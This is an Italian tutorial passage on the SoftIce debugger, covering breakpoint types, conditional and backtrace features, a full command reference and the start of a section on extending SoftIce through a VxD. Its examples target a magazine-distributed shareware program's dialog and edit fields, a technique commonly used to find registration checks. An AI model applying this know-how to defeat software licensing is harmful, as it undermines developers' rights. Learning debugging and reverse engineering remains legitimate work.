Si tratta di un BP di size settata a W (word breakpoint) legato allaq scrittura in memoria.
Il BP interviene la prima volta che la locazione CS:F00 ha un valore scritto il quale setta il bit di ordine maggiore a 0 e quello di ordine minore a 1.
Gli altri bits possono essere qualsiasi valore.
Volendo settare un BP in modo tale che il programma si interrompa la prima volta che ad un certo indirizzo viene scritto un valore maggiore di 5, dobbiamo specificare il seguente comando :

```
BPM DS:1000 W GT 5
```

Un famiglia di comandi permette invece di specificare dei range di indirizzi.
Lo stereotipo di questi comandi è :

```
BPR start-address end-address [verb] [C=count]
```

COUNT come nei casi precedenti indica dopo qante volte deve essere attivato il BP.
Il VERB può essere :

```
(R)ead, (W)rite o (RW)read/write
```

Due parametri aggiuntivi sono T e TW i quali, se specificati, non fanno eseguire il BP ma abilitano il BACKTRACE sul range specificato.

```
BPR B000:0 B000:1000 W
```

Il precedente esempio abilita il BP se viene eseguita la scrittura nel buffer del video monocromatico.
SI può collezionare le informazioni relative alle istruzioni in un backtrace buffer.
Questo possibilità permette di eseguire a ritroso delle istruzioni precedenti ad un BP.
Il range può variare da un byte ad 1 Mbytes.
Ricordatevi che questa possibilità degrada le prestazioni in misura tanto maggiore quanto maggiore è il range specificato.
Un esempio per inserire nel backtrace buffer è il seguente :

```
BPR 1000:0 2000:0 T
```

Altri BP possono essere settati su porte di I/O.

```
BPIO port [verb] [qualifier value] [C=count]
```

Il VERB può essere (R)ead, (W)rite o (RW)read/write.
Il QUALIFIER può invece essere come nel caso del tipo di BP precedenti :

```
(EQ)ual, (NE)not equal, (GT)greater than, (LT)less than, (M)ask
```

Un esempio può essere :

```
BPIO 21 W NE FF
```

BP in scrittura sulla porta 21 se il valore NON E' UGUALE a FF.
Anche per gli interrupts possono essere settati breakpoints specifici.
La sintassi :

```
BPINT int-number [<AL|AH|AX>=value][C=count]
```

Un esempio che setta un BP sull'INT 21 con AH=4C (ricordate che nel caso dell'int del DOS 21h AH contiene il codice del servizio) è il seguente.

```
BPINT 21 AH=4C
```

BPX invece permette di settare BP in esecuzione.

```
BPX address [C=count]
```

SI quando viene attivato crea delle tabelle con gli indirizzi delle funzioni importate.
Ad esempio se date il comando EXP in SI avrete la lista delle funzioni exportate.
Questa lista ha la seguente parvenza :

```
0045:1234 GETDLGITEMTEXT          0056:8900 FATALEXIT
0034:3333 GETWNTEXT               0456:9999 ANOTHERFUNCT
....
```

Come potete vedere SI vi mostra le funzioni abbinate ad indirizzi.
Se desiderate bloccare il programma ogni volta che viene richimata la funzione GetDlgItemText potete specificare l'indirizzo segnato a fianco, dopo averlo visto con EXP, oppure potete specificarlo in modo simbolico con il comando :

```
BPX GetDlgItemText
```

SI userà l’indirizzo abbinato.
Chiaramente il simbolo deve esistere se non vi viene segnalato un messaggio di symbol not defined.
Parlando di Windows esistono anche messaggi che potete listare mediante il comando :

```
WMSG
```

Se volete inserire un breakpoint su un certo messaggio potete usare il comando :

```
BMSG WM_INITDIALOG
```

Il carattere jolly * può essere usato nel comando di lista messaggi come lo usereste con il dos facendo una dir.

```
WMSG WM_S*
```

Il precedente esempio vi listerebbe tutti i messaggi che iniziano con WM_S.
Il comando BMSG possiede la possibilità di specificare anche l’handle della finestra su cui è indirizzato il messaggio.
Il comando HWND lista gli handloe delle finestre del programma.
Specificando

```
BMSG WM_INITDIALOG
```

Si richiede di bloccare il programma tutte le volte che viene chiamato un WM_INITDIALOG indipendentemente dalla finestra.
Se con il comando HWND si riesce ad identificare la finestra interessata è possibile specificare quel valore come parametro.
Supponiamo che nel sistema sia in esecuzione la finestra mostrata qui a fianco appartenete ad un programma shareware distribuito da molte riviste nazionali.

SI a seguito del cmando HWND mostra i seguenti dati :

Window handle	hQueue	SZ	qOwner	Class name	Window-proc.
0080	**196F**	**32**	**COMEXPL**	**ComboBox**	**140F:000045678**
0086	**19F6**	**32**	**COMEXPL**	**#32700Dialog**	**140F:000034344**

Se grazie a qOwner e a class-name riuscite a identificare la dialog che vi interessa potete dare:

```
BMSG 0080  WM_INITDIALOG
```

In questo modo intercettate il messaggio di INITDIALOG indirizzato a quella dialog specifica.
Non riuscendo tramite HWND potete posizionarvi sulla dialog con il cursore movibile di Spy++ e ricavarne l'handle.
Le informazioni necessarie per settare il BP vengono mostrate in Spy++ (a parte il fatto che a noi interessa in particolar modo la prima ovvero quella a fianco a Window).
La sintassi del BP che permette di intercettare i messaggi indirizzati ad una window è :

```
BMSG hwnd [L] [begin msg [end msg]] [IF expression]
```

E' possibile intercettare tutti i messaggi indirizzati ad una window specificando solo l'handle della finestra, quello visto con Spy++ o rintracciato con il comandeo WMSG.
Chiaramente debuggare il programma con un breakpoint su una finestra senza filtrare i messaggi diventa problematica visto che il tutto si interromperebbe in ogni istante a seguito di WM_PAINT, WM_ERASEBKGND ecc.
Inoltre la cancellazione della client area del programma grazie alla comparsa del debugger creerebbe messaggi a catena per cui sarebbe meglio selezionare quali messaggi intercettare.
Non sapendo quali sono quelli inviati alla finestra si potrebbe fare un ciclo per vedere quali sono generati sulla finestra e successivamente abilitare solo i breakpoint sui messaggi più interessanti.
Quando si usa Spy++ ci si deve ricordare che è anche possibile cercare di avere gli handle delle windows inserite nella dialog stessa come ad esempio quelli dei campi d'edit.
In altre parole potrei cercare gli ID dei campi d'edit e usare come breakpoint questi.
In questo modo avrei la possibilità di vedere se esistono messaggi specifici legati a questi campi.
In caso negativo potrei ampliare successivamente il campo cercando di intercettare i messaggi indirizzati a tutta la dialog.
Quando non esistono messaggi come GetDlgItemText o GetDlgItemInt è facile che la lettura dei campi avvenga con l'intercettazione dei messaggi WM_GETTEXT.
Per cui, supponendo che l'handle del campo d'edit sia 0BC4, è possibile settare un breakpoint con :

```
BMSG 0BC4 WM_GETTEXT
```

Con i breakpoints bisogna ricordarsi che l'indirizzo può essere specificato in modo dinamico semplicemente usando il registro puntatore all'istruzione EIP.
In altre parole invece di usare un indirizzo fisso, bpx 0040ffff, è possibile usare eip, magari con qualche condizione.

```
BPX EIP IF(EAX==25)
```

Un particolare tipo di BP permette di interrompere l'esecuzione se il valore di CS:IP esce dal range specificato.
La sintassi è :

```
CSIP [OFF| [NOT] start-address end-address]
```

Se ad esempio vogliamo bloccare l'esecuzione se l'indirizzo in esecuzione non è dentro al ROM BIOS :

```
CSIP NOT F000:0 FFFF:0
```

I comandi per il listing, l'abilitazione e la disabilitazione dei BP la potete trovare all'inizio quando ho ripportato la lista comandi di SI.

Riassumendo quanto abbiamo detto sui breakpoints possiamo raggrupparli in :

- **Breakpoints in esecuzione: SI sostituisce un istruzione esistente con INT 3. Bisogna utilizzare il comando BPX per settare questo tipo di BP.**

- **Breakpoints di memoria: SI utiulizza i registri del x86 di debug per interrompere quando alcuni byte/word/dword di memoria vengono lette, scritte o eseguite. Il comando BMP viene usato per questo scopo.**

- **Breakpoints su interrupts: SI intercetta gli interrupts modificando la IDT (Interrupt Descriptor Table). Viene usato BPINT per settare questo tipo di BP.**

- **Breakpoints di I/O: SI utilizza delle estensioni del Pentium/Pentium Pro presenti in registri per attendere le istruzioni di IN e OUT su porte. Il comando per creare il BP è BPIO.**

- **Breakpoints su messaggi di Windows: SI intercetta i messaggi di Windows. La creazione avviene con BMSG.**

Grazie al comando DO è possibile creare delle seuqenze di comandi di SI che vengono eseguiti quando il BP viene attivato.
Nella specifica DO possono essere inseriti tutti i comandi di SI.
Ad esempio:

```
BPX EIP DO “dd eax”
BPX EIP DO “data 1;dd eax”
BPMB dataaddr if (byte(*dataaddr)==1) do “? IRQL”
```

I breakpoints possono essere anche condizionali grazie aqlla seguente sintassi:

```
BREAKPOINT_COMMAND [options] [IF conditional expression] [DO “commands”]
```

SI possiede il comando THREAD che mostra i threads attivi.
Grazie ai comandi relativi ai breakpoints condizionali è possibile attendere l'attivazione di un thread o la sua disattivazione.

```
Bpx ntoskrnl!SwapContext IF (edi==0xFF8B4020)
Bpx ntoskrnl!SwapContext IF (esi==0xFF8B4020)
```

Esistono alcuni caratteri che permettono di specificare valori dinamici dentro agli statement dei breakpoint.
Si tratta del carattere underscore '_' il quale permette di vedere il valore dinamico di un oggetto.
Ad esempio :

```
bpx eip IF (eax == _eax)
```

è l'equivalente di :

```
? eax
00000012    ; ATTENZIONE CHE QUESTO E' IL VALORE STAMPATO DAL COMANDO ?
bpx eip IF (eax == 12)
```

In pratica setta un breakpoint condizionale che viene attivato se il valore dinamico di eax è uguale al suo corrente valore.
Un altro esempio:

```
bpint 2E if (process == _process)
```

o ancora :

```
bpx eip IF (tid == _tid)
```

che sarebbe equivalente a :

```
? tid
8           ; ATTENZIONE CHE QUESTO E' IL VALORE STAMPATO DAL COMANDO ?
bpx eip if (tid == 8)
```

Nei primi capitoli abbiamo parlato di concetti legati allo stack anche se i comandi di visualizzazione di SI non sono soltanto destinati alla visualizzazione di questa.
Spesso si inseriscono breakpoints in corrispondenza di chiamate a funzioni durante le quali è importante tenere sotto controllo i valori dello stack o di certi dati particolari in zone di memoria di cui si conosce l'indirizzo oppure casi in cui questo è memorizzato dentro a registri.
I vari comandi DW, DB ecc. possono ricevere come argomenti anche i nomi dei registri.

```
DB ESP+04
DW EBP
```

Una caratteristica di SoftIce è quella legata alla possibilità di utilizzare il buffer di backtrace.
SI può inserire le istruzioni in un buffer di backtrace e visualizzarle a seguito di un certo avvenimento.
Ad esempio potrebbe visualizzare le istruzioni a seguito di un bug anche se a noi inetressano altre casistiche.
Le informazioni sulle istruzioni vengono collezionate a seguito di accessi in un range specifico di memoria.
Questo range può essere da 1 byte a 1 Mbyte.
Il salvataggio delle istruzioni non avviene automaticamente in quanto farlo rallenterebbe notevolmente il sistema.
Per poter utilizzare questa possibilità bisogna inanzi tutto allocare un buffer per poterci salvare le istruzioni.
Generalmente un buffer di backtrace di 10 Kbytes viene allocato di defaults.
Il passo successivo è quello di abilitare questo buffer creando un breakpoint legato ad un range di memoria utilizzando il VERB T o TW.
Ad esempio :

```
BPR 1000:0 2000:0 T
```

Come avevo già accennato i VERB T e TW non causano l'interruzione del programma ma semplicemente inseriscono le istruzioni nel buffer di backtrace.
Dopo aver inserito aqnche gli altri breakpoints è necessario uscire da SI con il comando X.
Al primo breakpoint SI verrà visualizzato e quindi potremo richiedere la visualizzazione delle istruzioni inserite nel buffer con il comando

```
SHOW n-istruzioni
```

Dove n-istruzioni è chiramente il numero di linee di istruzione che si desidera visualizzare.
Per rieseguire una serie di istruzioni bisogna prima entrare nel modo di trace con :

```
TRACE n-istruzioni
```

Dopo essere entrati nel modo di trace con il precedente comando è possibile rieseguire le istruzioni tramite i comandi:

```
XT, XP o XG.
```

La partenza avviene dall’istruzione specificata dal comando trace.
Se casualmente è stato specificato il comando TRACE 50 i comandi precedenti partono dalla 50 istruzione.
Per terminare il modo di trace è sufficente utilizzare la specifica OFF del comando.
Durante questa fase quasi tutte le istruzioni di SI funzionano normalmente.
I comandi di manipolazione dei breakpoints non necessitano di spiegazioni particolari.
I breapoints compaiono in una lista che viene mostrata mediante il comando BL.
La cancellazione avviene con BC (BREAKPOINT CLEAR) seguito dal numero del BP oppure dal carattere jolly * se si vogliono cancellre tutti.
La disabilitazione temporanea avviene con BD mentre la riabilitazione con BE.
Dicevo prima che SI dispone di un loader che però offre potenzialità nel caso in cui si esegua il debug di programmi con i sorgenti.
SI, essendo attivabile con la pressione di CTRL-D (o quelli che si sono settati), può essere attivato in qualsiasi istante.
Avevo accennato prima che la metodologia di scrittura degli interrupt permette di espandere le funzioni di SoftIce.
Quando avevamo parlato di Interrupts avevamo detto che a partire dall’indirizzo 0 c’erano 1024 bytes (256 * 4) destinati a mantenere memorizzati gli indirizzi dei 256 possibili interrupts.
SoftIce possiede un istruzione che permette di assemblare istruzioni in assembler.
Se a questo punto scrivessimo una qualche funzione in assembler con la metodologia di scrittura degli interrupts e inserissimo il suo indirizzo dentro alla tabella dei vettori d’interruzione assegnandogli il numero 99, per esempio, avremo poi la possibilità di richiamarla mediante il comando di generazione interrupt di SI.
Queste funzioni scritte in SI potrebbero inoltre essere abbinate a qualche comando come ad esempio quelli relativi ai breakpoints.
Supponiamo di voler eseguire una serie di controlli sui valori dei registri.
Vediamo di trovare una zona di memoria libera e codifichiamo in assembler le linee di programma nelle quali eseguiremo il controllo dei registri.
La funzione verrà scritta con la metodologia degli interrupt per cui verrà controllato il primo registro e se il valore non corrisponde verrà eseguito un salto sull’istruzione di ritorno dall’interrupt IRET se non verrà controllato il secondo registro e così via.
Il comando per assemblare è A seguito dall’indirizzo.

```
A 9000:0

      9000:0      CMP AX,3    ; primo registro da controllare
      9000:4      JNE 34      ; se non è uguale a quello che vogliamo ritorna
      9000:10     CMP BX,4    ; secondo registro
      9000:14     JNE 34      ; se non è uguale a quello che vogliamo ritorna
      9000:20     CMP CX,5    ; terzo registro
      9000:24     JNE 34      ; se non è uguale a quello che vogliamo ritorna
      9000:30     INT 3       ; se sei arrivato qui i registri sono OK. BREAK
```

```
      9000:34     IRET        ; ritorna
```

A questo punto settiamo la routine come interrupt 99 il cui indirizzo è a 99*4.
Adesso ci interessa fare in modo che ad ogni istruzione del nostro programma che stiamo debuggando venga chiamata la routine appena scritta.
La funzione di breakpoint che viene chiamata ad ogni accesso alla memoria tramite la specifica DO può richiamare l'interrupt ed è quello che interessa a noi.
Prima installiamo la nostra funzione :

```
ED 99*4 9000
```

Oltre a questo è possibile usare il comando I3HERE per fare in modo che compaia la finestra di SoftIce quando un int3 viene chiamato.

```
I3HERE
```

In ultimis settiamo il breakpoint sul range di memoria in cui vogliamo che venga eseguito il controllo previsto dalla nostra routine.

```
BPR segmento:indirizzo_partenza segmento:indirizzo_fine R DO 'GINT 99'
```

Come avevamo deto nel capitolo relativo all'assembler le funzioni utilizzano lo stack per il passaggio dei parametri per cui spesso ci si trova nella necessità di de-ferenziare questi valori tramite i registri ESP e EBP.
Quale usare dipende dal prologo della funzione e da dove viene piazzato il breakpoint in relazione a questo.
Molte funzioni a 32 bits possiedono il seguente prologo.

```
PUSH EBP
MOV EBP, ESP
SUB ESP, size(local)
```

Lo stack frame viene settato come segue:

```
Stack Top            Param N             ESP+(n*4) or EBP+(n*4)+4     Pushed by caller
                     Param #2            ESP+8 or EBP+C
                     Param #1            ESP+4  or EBP+8
                     RET EIP             Stack pointer on Entry
              Current                    Base Pointer
              EBP                        (PUSH EBP, MOV EBP, ESP)
                     Save EBP
                     LOCALS+SIZE-1                                    Call prologue
                                         Stack pointer after
                                         prologue (SUB ESP...)
                     LOCALS+0
                     Save EBX            Optional save of "C" registers
                     Save ESI            Register saved by compiler
              Current
              ESP
Stack Bottom         Save  EDI                 Stack pointer after registers are saved
```

In SI il riferimento a registri come ad esempio ESP+4 può essere eseguito con

```
ESP->4
```

Per cui è possibile creare costrutti del tipo :

```
BPX IsWindow (ESP->4==10022) || (ESP->4==1001E)
```

Quando seguite una funzione cercate sempre di capire che cosa trattano gli argomenti.

COMANDI VISUALIZZAZIONE INFORMAZIONI

Come dicevo SI può essere attivato in qualsiasi istante grazie alla pressione dei tasti di attivazione.
Molti comandi permettono la visualizzazione di informazioni sui task in funzione.
Il primo comando è appunto TASK che visualizza le informazioni relative ai TASK a partire dal nome, all'indirizzo del segmento di stack e tante altre notizie.
Informazioni relative ai processi possono essere estratte tramite il comando PROC.
A sua volta le informazioni relative ai nomi dei processi e dei task possono essere usate come argomenti del comando CLASS che a sua volta restituisce informazioni sulle classi.
Fornendo la specifica –X al comando CLASS si ottengono informazioni legate ad ogni classe compresi gli indirizzi della window procedure ecc.
Il comando THREAD invece fornisce informazioni sui THREADS attivi.
Nelle versioni per WIN98 la visualizzazione del codice avviene mostrando il numero del thread con a fianco gli indirizzi.
Essendo possibile in SI visualizzare in qualsiasi istante il codice non è detto che quello visualizzato si relativo al programma voluto.
Alcuni breakpoint infatti, se non viene specificato l'ID del processo o qualche cosa che lo identifichi, funzionano su tutti i task presenti.
Prendiamo ad esempio un breakpoint legato alla lettura del testo di un campo d'edit, GetDlgItemText.
SI mostrerà la sua windows attivata dal breakpoint a seguito di qualsiasi GetDlgItemText venga richiamata nel sistema.
Le funzioni relative alla visualizzazione delle informazioni servoino appunto ad avere specifiche legate ad ogni processo in modo tale da poter eseguire delle selezioni con le successive funzioni di SI.

VISUALIZZAZIONE DEI SEGMENTI

Tutti i programmi, come abbiamo già detto, dispongono di un certo numero di segmenti utilizzati per vari scopi.
Un segmento è sicuramente il Code Segment.
I dati sono invece allocati nel Data Segment.
I segmento di stack lo abbiamo già descritto.
In ogni caso i vari registri di segmento ci permetono di capire quali sono i segmenti in un certo istante dell'esecuzione.
Tramite il comando MAP32 di SoftIce è possibile eseguire una panoramica dei segmenti allocati in un certo momento.
Per ogni programma caricato vengono mostrati i vari segmenti con le seguenti informazioni:

```
OWNER       OBJ_NAME    OBJ#  ADDRESS          SIZE        TYPE
COMEXP      .text       0002  014C:00005678    000000FC0   CODE  RW
COMEXP      .idata      0006  014C:00007890    00000FF00   IDATA RO
Ecc.
```

La seguente tabella mostra gran parte delle funzioni a disposizione di SoftIce.
Si tratta di una tabella da me redata tramite le funzioni dei help presenti nella versione 3.24 per Windows 95.
L'utilizzo di alcune tecniche particolari e quindi di alcune delle opzioni qui riportate verrà trattato più avanti.

1. BREAKPOINT

BPM, BPMB, BPMW, BPMD

Breakpoint on memory access

BPM [SIZE] ADDRESS [R|W|RW|X] [DEBUG REGISTER] [IF EXPRESSION} [DO COMMAND]

BPMB, BPMW OR BPMD ADDRESS [R|W|RW|X] [DEBUG REGISTER] [IF EXPRESSION} [DO COMMAND]
Ex: BPM 1234 RW

BPRW

Support conditional breakpoints and actions, and logging breakpoint to history buffer
BPRW module-name | code selector [R|W|RW|T|TW] [IF expression] [DO action]
Ex: BPRW GENERIC

BPR

Breakpoint on memory range
BPR address address [R|W|RW|T|TW] [IF EXPRESSION] [DO ACTION]
Ex: BPR ESI EDI+32 RW

BPIO

Breakpoint on I/O port
BPIO [–h] PORT [R|W|RW] [DEBUG REGISTER] [IF expression] [DO action]
Ex: BPIO 3DA W

BPINT

Breakpoint on interrupt
BPINT interrupt-number [IF expression] [DO action]
Ex: BPINT 50

BPX

Breakpoint on execution
BPX address [IF expression] [DO action]
Ex: BPX 282F20

BMSG

Breakpoint on Windows message
BMSG hwnd [L] [begin msg [end msg]] [IF expression]
Ex.: BMSG 49AC WM_MOUSEFIRST WM_MOUSELAST

BSTAT

Breakpoint on statistics
BSTAT [breakpoint #]
Ex.: BSTAT 3

CSIP

Set CS:EIP range qualifier
CSIP [OFF | [NOT] address address | [NOT] module name]
Ex.: CSIP NOT CS:201000 CS:205FFF

2. MANIPULATING BREAKPOINT

BPE

Edit
BPE breakpoint number
Ex.: BPE 4

BPT

Use as template
BPT breakpoint number
Ex.: BPT 0

BL

List
BL
Ex.: BL

BC

Clear
BC list | *
Ex.: BC *

BD

Disable
BD list | *
Ex.: BD 1,2,3,4

BE

Enable
BE list | *

Ex.: BE 1,2,3,4

BH

History

BH

Ex.: BH

3. DISPLAY/CHANGE MEMORY

R

Display/change registers contents

R [-d | register name | register name [=] value]

Ex.: R EZX=50

U

Unassemble instructions

U [address [L lenght]]

Ex.: U EIP-10

D, DB, DW, DD, DS, DL, DT

Display memory

D [address [L lenght]]

Ex.: D B8000

E, EB, EW, ED, ES, EL, ET

Edit memory

E [address] [data]

Ex.: E 40000

PEEK size, addr

Read from physical address

PEEK [size] address

Ex.: PEEKD A0000000

POKE size addr val

Write into physical address

POKE [size] addr val

Ex.: POKED F8000000 12345678

PAGEIN

Load a page into physical memory

PAGEIN address

Ex.: PAGEIN 401000

H

Help

H [command]

Ex.: H DW

?

Evalutate expression

? expression

Ex.: ? AX << 1

VER

Version

VER

Ex.: VER

WATCH

Add watch

WATCH address

Ex.: WATCH VariableName

FORMAT

Change format of data window

FORMAT

Ex.: FORMAT

DATA

Change data window

DATA [window number(0-3)]

Ex.: DATA 2

4. DISPLAY SYSTEM INFORMATION

GDT

Global description table
GDT [selector | GDT base address]
Ex.: GDT 28

LDT

Local description table
LDT [selector | LDT base address]
Ex.: LDT 28

IDT

Interrupts description table
IDT [interrupt | IDT base address]
Ex.: IDT 28

TSS

Task state
TSS [TSS selector]
Ex.: TSS

CPU

CPU register info
CPU [-i]
Ex.: CPU

PCI

PCI device info
PCI [-raw] [bus device function]
Ex.: PCI

MOD

Windows module list
MOD [partial name *]
Ex.: MOD

HEAP

Windows global heap
HEAP [-l] [FREE | mod | sel | 32 [heap | process]]
Ex.: HEAP GDI

LHEAP

Windows local heap
LHEAP [selector | module name]
Ex.: LHEAP DS

VXD

Windows VXD map
VXD [partial name *]
Ex.: VXD VPCID

TASK

Windows task list
TASK
Ex.: TASK

VCALL

VXD calls
VCALL [partial name *]
Ex.: VCALL VPCID*

WMSG

Windows messages
WMSG [partial name *] [WMSG number]
Ex.: WMSG WM_MOU*

PAGE

Page table info
PAGE [address | [L lenght]]
Ex.: PAGE DS:0 L 0

PHYS

All virtual address for physical address
PHYS physical address

Ex.: PHYS A0000

STACK

Call stack

STACK [task name | thread type | SS:EBP]

Ex.: STACK

XFRAME

Active exception frame

XFRAME [frame address]

Ex.: XFRAME EBP

MAPV86

v86 memory map

MAPV86 [address]

Ex.: MAPV86

HWND

Windows handle informations

HWND [-x] [hwnd | [window level] [task name]]

Ex.: HWND progman

CLASS

Windows class informations

CLASS [-x] [task name]

Ex.: CLASS USER

VM

Virtual machine informations

VM [-s] [VM ID]

Ex.: VM 1

THREAD

Thread informations

THREAD [TCB| ID | task name]

Ex.: THREAD

ADDR

Display/change address context

ADDR [context handle | task | *]

ADDR 80FD602C

MAP32

32 bits section

MAP32 [module handle | module name]

Ex.: MAP32 kernel32

PROC

Process informations

PROC [-xo] [task name]

Ex.: PROC –x Explorer

QUERY

Process virtual address space map

QUERY [[-x] address] [process type]

Ex.: QUERY PROGMAN

WHAT

Identify type of a expression

WHAT expression

Ex.: WHAT system

OBJDIR

Information about obj directory

OBJDIR object-directory

Ex.: OBJDIR \Driver

DEVICE

Information about a device

DEVICE [device name | address]

Ex.: DEVICE HCD0

DRIVER

Information about a driver

DRIVER [driver name | address]

Ex.: DRIVER ne2000.sys

FOBJ

Information about a file obj
FOBJ pfile object
Ex.: FOBJ EAX

IRP

Information about a IRP
IRP pirp
Ex.: IRP eax

5. I/O PORTS COMMANDS

I, IB, IW, ID

Input from I/O
I port
Ex.: I 3DA

O, OB, OW, OD

Output to I/O
O port value
Ex. O 21 FF

6. FLOW CONTROLS

X

Return to host debugger
X
Ex.: X

G

Go to address
G [=address] [address]
Ex.: G 231456

T

Single step one instruction
T [=address] [count]
Ex.: T

P

Step skipping calls, int, etc.
P [RET]
Ex.: P

HERE

Goto current cursor line
HERE
Ex. HERE

EXIT

Force an exit to Windows
EXIT
Ex.: EXIT

GENINT

Generate int
GENIT [NMI | INT1 | INT3 | int-number]
Ex.: GENINT 2

HBOOT

System boot (total reset)
HBOOT
Ex.: HBOOT

7. MODE CONTROLS

I1HERE

Direct INT1 to SOFTICE
I1HERE [ON | OFF]
Ex.: I1HERE ON

I3HERE

Direct INT3 to SOFTICE
I3HERE [ON | OFF]
Ex.: I3HERE ON

ZAP

Zap embedded INT1 e INT3
ZAP
Ex.: ZAP

FAULTS

Enable/Disable SOFTICE fault trapping
FAULTS [ON | OFF]
Ex.: FAULTS ON

SET

Change an internal variable
SET [setvariable] [ON | OFF] [value]
Ex.: SET FAULTS ON

7. CUSTOMIZATION COMMANDS

PAUSE

Control display scroll mode
PAUSE [ON | OFF]
Ex.: PAUSE ON

ALTKEY

Set key sequence to invoche Windows
ALTKEY [alt letter | controll letter]
Ex.: ALTKEY ALT D

FKEY

Display/Set F key
FKEY [function key string]
Ex.: FKEY F1 DD; G @ESP

DEX

Display/Assign window data expressions
DEX [windows number(0-3)] [expression]
Ex.: DEX 2 esp

CODE

Display/Instructions in code window
CODE [ON | OFF]
Ex.: CODE ON

COLOR

Display/Set screen color
COLOR [normal] [bold] [reverse] [help] [line]
Ex.: COLOR 30 3E1F 1E 34

ANSWER

Auto answer with modem
ANSWER [On [com port]] [bauds rate] [i=init] | OFF]
Ex.: ANSWER 1 38400

TABS

Set/Display tab setting
TABS [1-8]
Ex.: TABS 4

LINES x

Set/Display num of lines
LINES [25 | 43 | 50 | 60]
Ex.: LINES 50

WIDTH x

Set/Display num of columns
WIDTH [80-160]
Ex.: WIDTH 80

PRN

Set printer out
PRN [lptx | comx]
Ex. PRN LPT1

PRINT-SCREEN (KEY)

Send to print
PRINT-SCREEN
Ex.: PRINT-SCREEN

MACRO

Macro to execute
MACRO [macro name] [[*] | [= “macro body”]]
Ex.: MACRO Oops = “ihere off; genint 3”

8. UTILITY

A

Assemble code
A [address]
Ex.: A CS:1236

S

Search for data
S [-cu] address L lenght data-string
Ex. S 0 L ffffff ‘Help’, 0D, 0A

F

Fill memory with data
F addresas L lenght data-string
Ex. F EBX L 50 ‘ABC’

M

Move data
M address L lenght address-2
Ex.: M 4000 L 80 8000

C

Compare 2 data blocks
C address L lenght address-2
Ex.: C 400 L 80 EBX

9. WINDOW COMMANDS

WC

Toggle code window
WC [window size]
Ex. WC 8

WD

Toggle data window
WD [window size]
Ex.: WD 8

WF

Toggle floating point stack window
WF [-D] [B | W | D | F | P | *]
Ex.: WF

WL

Toggle locals window
WL [window size]
Ex. WL 8

WW

Toggle watch window
WW
Ex.: WW

EC

Enable/Disable code window

EC

Ex.: EC

.

Locate current instruction

.

Ex. : .

10. WINDOW CONTROLS

CLS

Clear

CLS

Ex.: CLS

RS

Restore program screen

RS

Ex.: RS

ALTSCR

Change to alternate display

ALTSCR [MONO | VGA | OFF]

Ex.: ALTSCR OFF

FLASH

Restore screen during P or T command

FLASH [ON | OFF]

Ex.: FLASH ON

11. SYMBOL/SOURCE COMMANDS

SYM

Display symbols

SYM [partial name* | symbol name]

Ex.: SYM hDC*

SYMLOC

Relocate symbols base

SYMLOC segment | O | R | -C process type | section selector base

Ex. SYMLOC 9D5

EXP

Display export symbols

EXP [partial name*]

Ex.: EXP GLOB*

SRC

Toggle source/mixed

SRC

Ex.: SRC

TABLE n

Select/Remove symbol table

TABLE [[R] table-name | AUTOON | AUTOOFF]

Ex.: TABLE test

FILE

Display/Change current source

FILE [file name | *]

Ex.: FILE *

SS

Search source for string

SS [line number] [‘search string’]

Ex.: SS 40 ‘if(i==3)’

TYPES type-name

List all types

TYPE [type name]

Ex.: TYPE DWORD

LOCALS

Display locals currently in scope
LOCALS
Ex.: LOCALS

12. BACKTRACE

SHOW

Display from backtrace buffer
DSHOW [start] [L lenght]
Ex.: DSHOW 100

TRACE

Enter backtrace simulation mode
TRACE [B ! OFF | START]
Ex.: TRACE OFF

XT

Step in trace simulation mode
XT [R]
Ex.: XT

XP

Program step in trace simulation mode
XP
Ex.: XP

XG

Go to address in trace simlation mode
XG [R] address
Ex.: XG 2000

XRSET

Reset backtrace history
XRSET
Ex.: XRSET

13. SPECIAL OPERATOR

. Preceding a decimal number
$ Preceding address specification segment
# Preceding selector
@ Preceding address indirector
? Expression valutator

14. NEW

SET SYMBOL on|off   If on the disassembler display symbol names

WSTR

Use this operator with the expression valutator
WSTR type cast operator
Ex.: ? WSTR(eax)

ESTENDERE SOFTICE USANDO I SERVIZI API DI DEBUGGING

SoftIce, coma abbiamo visto, costituisce il più potente debugger in circolazione e combinato con un altro sistema come IDA fornisce quanto di più uno dedicato alla reverse engineering può desiderare.
In ogni caso esistono diversi pacchetti in giro che permettono di espandere SoftIce aggiungendogli altri comandi nuovi o atti a modificare quelli esistenti.

Per creare l'estensione che segue dovremo essere in grado di creare un nuovo VXD per cui ci sarà necessario il Microsoft DDK (Device Development Kit) e il MASM per la compilazione.
Nello stesso DDK è inserito quanto necessario per estendere le funzioni di debugging.
Date un occhiata al seguente file (DEBUGSYS.INC fornito con il DDK).

```
ifndef _DEBUGSYS_H
_DEBUGSYS_H  EQU    1
D386_RM_Int  EQU    68H
D386_Id      EQU    0F386H
D386_MIN     EQU    43H
D386_IdentifyEQU    43H
D386_Prepare_PMode  EQU    44H
D386_Real_Mode_Init EQU    45H
D386_Set_Switches   EQU    46H
D386_Execute_Cond   EQU    47H
D386_Free_Segment   EQU    48H
D386_Set_Baudrate   EQU    49H
D386_Reinit  EQU    4aH
D386_Def_Deb_Segs   EQU    4bH
D386_Set_Com_Port   EQU    4cH
D386_Link_SymEQU    4dH
D386_Unlink_Sym     EQU    4eH
D386_Remove_Segs    EQU    4fH
D386_Load_Segment   EQU    50H
D386_Display_Char   EQU    51H
D386_Display_Str    EQU    52H
D386_IsVxDInstalled EQU    53H
D386_VxDInstall     EQU    54H
D386_RegisterDotCmd EQU    55H
D386_DeRegisterDotCmd      EQU    56H
D386_Printf  EQU    57H
D386_Link_Sym_Phys  EQU    58H
D386_CheckMapEQU    59H
D386_SetAutoLoadSym EQU    5aH
D386_SetTeftiPort   EQU    5bH
D386_ExecDebugCommand      EQU    5cH
D386_LoadCodeDataHigh      EQU    5dH
D386_SetWinVersion  EQU    5eH
D386_ScanCharEQU    5fH
D386_UnGetChar      EQU    60H
D386_Stop    EQU    61H
ifdef WDEB98
D386_Set_Baudrate_Ex       EQU    62H
D386_SetBuildInfo   EQU    63H
D386_Set_Switches_Ex       EQU    64H
D386_MAX     EQU    64H
else
D386_MAX     EQU    61H
endif
ST_code_sel  EQU    0H
ST_data_sel  EQU    1H
ST_code_seg  EQU    10H
ST_data_seg  EQU    11H
ST_dual_code EQU    40H
ST_dual_data EQU    41H
ST_device_code      EQU    80H
ST_device_data      EQU    81H
D386_Device_Params  STRUC
DD_logical_seg          DW      ?
DD_actual_sel           DW      ?
DD_base                 DD      ?
DD_length               DD      ?
DD_name                 DF      ?
DD_sym_name             DF      ?
DD_alias_sel            DW      ?
